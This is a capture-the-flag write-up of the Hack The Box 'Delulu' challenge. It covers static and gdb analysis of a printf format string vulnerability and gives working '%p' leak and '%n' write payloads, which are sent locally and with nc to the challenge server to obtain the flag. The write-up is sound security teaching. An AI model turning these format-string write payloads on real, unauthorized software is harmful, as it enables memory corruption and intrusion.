Delulu Writeup - Cyber Apocalypse 2024
→ 1 Introduction
This writeup covers the Delulu Pwn challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge involved the identification and exploitation of a printf format string vulnerability within an ELF x86-64 binary.
The description of the challenge is shown below.
→ 2 Key Techniques
The key techniques employed in this writeup are:
- Static analysis of an x86-64 ELF binary using Ghidra
-
Use of
gdb
to debug a payload
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 pwn_delulu.zip
6108090b030cf21d5fe3bf7bf827ed8c4d2a78ec9b0240875f9c2e2dda218002 pwn_delulu.zip
The zip file contained a delulu
binary, a fake flag file
and glibc libraries:
$ unzip pwn_delulu.zip
Archive: pwn_delulu.zip
creating: challenge/
creating: challenge/glibc/
inflating: challenge/glibc/ld-linux-x86-64.so.2
inflating: challenge/glibc/libc.so.6
inflating: challenge/delulu
extracting: challenge/flag.txt
$ shasum -a256 $(find challenge -type f)
bc1a1b62cb2b8d8c8d73e62848016d5c1caa22208081f07a4f639533efee1e4a challenge/glibc/libc.so.6
4d2657934fc7442f86bd1258a7c6440aeab584add04f0c3dae6c6f4610c612f4 challenge/glibc/ld-linux-x86-64.so.2
2400f9b552642c9222e823a3788680eabd361fe4b36ae6be55ebcc11dce62f29 challenge/delulu
1d5bc96de556b62162db68870aa29581f152c172cf5e73cf74f381cf42c07b84 challenge/flag.txt
→ 4 Vulnerability analysis
→ 4.1 Basic file identification
The file
command was used to identify the binary. For
the purposes of the challenge, the key properties identified were:
- ELF: The binary is in ELF format, commonly used on Linux systems.
- x86-64: The binary is compiled for x86-64 bit machines.
- not stripped: Symbols have not been stripped so they will be visible when disassembling the binary.
- The binary is a position independent executable (pie).
$ file delulu
delulu: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=edae8c8bd5153e13fa60aa00f53071bb7b9a122f, for GNU/Linux 3.2.0, not stripped
→ 4.2 The delulu function prints the flag
The binary was imported into Ghidra using default settings and the
main
function located.
In the block below, if the local_48
stack variable
equals the constant 0x1337beef
, the delulu
function is called. The pertinent instructions have been commented
below.
The delulu
function opens the flag file and prints its
contents. This function is structured very similarly to the open_door
function from the Writing on the Wall challenge.
However, back in the main
function, the
local_48
variable is initialized to the constant
0x1337babe
and therefore, the conditional leading to
delulu
being called will never be true during a normal
execution flow.
→ 4.3 Identifying a printf format string vulnerability
Between the initialization of local_48
and the
conditional leading to delulu
being called, the main
function does the following:
-
Reads up to 0x1f (31) bytes of user input into the
local_38
stack variable. -
Calls
printf
withlocal_38
as its first argument. Fromman 3 printf
1, the signature of theprintf
function is:int printf(const char *restrict format, ...);
The format string can include conversion specifications, “each of which results in fetching zero or more subsequent arguments”. Since the subsequent arguments in the signature are variable, this means that even on an x86-64 architecture, subsequent arguments are read from the stack, not from registers. Since
local_38
is attacker controlled, this can allow an attacker to read data from the stack and, due to a special conversion specification%n
, write data as well, which will be examined further below. This vulnerability is an instance of the common weakness CWE-134: Use of Externally-Controlled Format String.
The special printf conversion specification %n
writes
the number of characters written so far into the corresponding variable.
In order to write data into local_48
variable, though, the
address of local_48
needs to be known but the executable is
a position independent executable, so the address will vary between
executions. However, the challenge has provided an easy path by
initializing local_40
to point to
local_48
:
→ 4.4 Confirming the printf format string vulnerability
The following format string payload was placed into
input.txt
. Each %p
conversion specification
will result in an argument being read from the stack and printed out,
where the argument is expected to be a pointer and hence 8 bytes on the
x86-64 architecture. The periods are literal characters that will
separate each pointer.
%p.%p.%p.%p.%p.%p.%p.%p
The delulu
binary was executed with the payload.
0x1337babe
can be seen in the output. This is known to be
the value of local_48
. Since the stack grows from high to
low addresses and given Ghidra’s naming convention,
local_40
is at a lower address than
local_48
. Therefore, the next value printed is the value of
local_40
, which is known to be the address of
local_48
, namely 0x7ffce6641d40
in this
instance. Furthermore, the value corresponds to the 7th conversion
specification.
$ ./delulu < input.txt | tail
The D-LuLu face identification robot will scan you shortly!
Try to deceive it by changing your ID.
>>
[!] Checking.. 0x7ffce663fc20.(nil).0x7fb213114887.0x10.0x7fffffff.0x1337babe.0x7ffce6641d40.0x70252e70252e7025
[-] ALERT ALERT ALERT ALERT
→ 5 Local exploitation
The value to be written to local_48
is
0x1337beef
, or 322420463 in decimal:
python3 -c "print(0x1337beef)"
322420463
The special printf conversion specification %n
writes
the number of characters written so far into the corresponding pointer
variable. Furthermore, each conversion specification supports an
optional field width that can be used to adjust the number of characters
written. To determine the required field width, a starting value of 1000
was chosen for the conversion specification prior to the %n
and written to input.txt
:
$ echo '%p.%p.%p.%p.%p.%1000p.%n' > input.txt
gdb
was then used to observe what the result stored in
local_48
was:
-
gdb
was started:$ gdb -q delulu
-
A breakpoint was set on the
main
function:(gdb) b main Breakpoint 1 at 0x1452
-
The program was run with input redirected from
input.txt
, resulting in the breakpoint being hit:(gdb) run < input.txt <snip/> Breakpoint 1, 0x0000555555555452 in main () => 0x0000555555555452 <main+8>: 48 83 ec 40 sub rsp,0x40
-
The
main
function was disassembled in order to determine the addresses of instructions:(gdb) disass main Dump of assembler code for function main: 0x000055555555544a <+0>: endbr64 0x000055555555544e <+4>: push rbp 0x000055555555544f <+5>: mov rbp,rsp => 0x0000555555555452 <+8>: sub rsp,0x40 0x0000555555555456 <+12>: mov rax,QWORD PTR fs:0x28 0x000055555555545f <+21>: mov QWORD PTR [rbp-0x8],rax 0x0000555555555463 <+25>: xor eax,eax 0x0000555555555465 <+27>: mov QWORD PTR [rbp-0x40],0x1337babe 0x000055555555546d <+35>: lea rax,[rbp-0x40] 0x0000555555555471 <+39>: mov QWORD PTR [rbp-0x38],rax 0x0000555555555475 <+43>: mov QWORD PTR [rbp-0x30],0x0 0x000055555555547d <+51>: mov QWORD PTR [rbp-0x28],0x0 0x0000555555555485 <+59>: mov QWORD PTR [rbp-0x20],0x0 0x000055555555548d <+67>: mov QWORD PTR [rbp-0x18],0x0 0x0000555555555495 <+75>: lea rax,[rbp-0x30] 0x0000555555555499 <+79>: mov edx,0x1f 0x000055555555549e <+84>: mov rsi,rax 0x00005555555554a1 <+87>: mov edi,0x0 0x00005555555554a6 <+92>: call 0x555555555130 <read@plt> 0x00005555555554ab <+97>: lea rax,[rip+0x112a] # 0x5555555565dc 0x00005555555554b2 <+104>: mov rdi,rax 0x00005555555554b5 <+107>: mov eax,0x0 0x00005555555554ba <+112>: call 0x5555555550f0 <printf@plt> 0x00005555555554bf <+117>: lea rax,[rbp-0x30] 0x00005555555554c3 <+121>: mov rdi,rax 0x00005555555554c6 <+124>: mov eax,0x0 0x00005555555554cb <+129>: call 0x5555555550f0 <printf@plt> 0x00005555555554d0 <+134>: mov rax,QWORD PTR [rbp-0x40] 0x00005555555554d4 <+138>: cmp rax,0x1337beef 0x00005555555554da <+144>: je 0x5555555554ed <main+163> 0x00005555555554dc <+146>: lea rax,[rip+0x110a] # 0x5555555565ed 0x00005555555554e3 <+153>: mov rdi,rax 0x00005555555554e6 <+156>: call 0x555555555269 <error> 0x00005555555554eb <+161>: jmp 0x5555555554f7 <main+173> 0x00005555555554ed <+163>: mov eax,0x0 0x00005555555554f2 <+168>: call 0x555555555332 <delulu> 0x00005555555554f7 <+173>: mov eax,0x0 0x00005555555554fc <+178>: mov rdx,QWORD PTR [rbp-0x8] 0x0000555555555500 <+182>: sub rdx,QWORD PTR fs:0x28 0x0000555555555509 <+191>: je 0x555555555510 <main+198> 0x000055555555550b <+193>: call 0x5555555550e0 <__stack_chk_fail@plt> 0x0000555555555510 <+198>: leave 0x0000555555555511 <+199>: ret End of assembler dump.
-
A breakpoint was set on the
cmp rax,0x1337beef
instruction:(gdb) b *(main+138) Breakpoint 2 at 0x5555555554d4
-
Execution was continued until breakpoint 2 was hit:
(gdb) c Continuing. [!] Checking.. 0x7fffffffb910.(nil).0x7ffff7d14887.0x10.0x7fffffff. 0x1337babe. Breakpoint 2, 0x00005555555554d4 in main () => 0x00005555555554d4 <main+138>: 48 3d ef be 37 13 cmp rax,0x1337beef
-
The value of register
rax
was inspected:(gdb) i r rax rax 0x41d 1053
This tells us that a field width of 1000 results in 1053 being
written to local_48
, 53 higher than the specified width.
Thus, to write 322420463 would require a field width of 322420410:
$ python3 -c "print(322420463 - 53)"
322420410
A new payload was constructed with this field width:
$ echo '%p.%p.%p.%p.%p.%322420410p.%n' > write_0x1337beef_to_target.txt
The payload was delivered to the local binary with input redirected
from write_0x1337beef_to_target.txt
and the output grepped
for “HTB”, resulting in the flag being printed:
$ ./delulu < write_0x1337beef_to_target.txt | grep HTB
You managed to deceive the robot, here's your new identity: HTB{f4k3_fl4g_4_t35t1ng}
→ 6 Remote exploitation - obtaining the flag
The payload was delivered to the remote target using nc
,
again with input redirected from
write_0x1337beef_to_target.txt
and the output grepped for
“HTB”, resulting in the flag being obtained:
$ nc -n -v 83.136.255.205 35361 < write_0x1337beef_to_target.txt|grep HTB
(UNKNOWN) [83.136.255.205] 35361 (?) open
You managed to deceive the robot, here's your new identity: HTB{m45t3r_0f_d3c3pt10n}
→ 7 Conclusion
The flag was submitted and the challenge was marked as pwned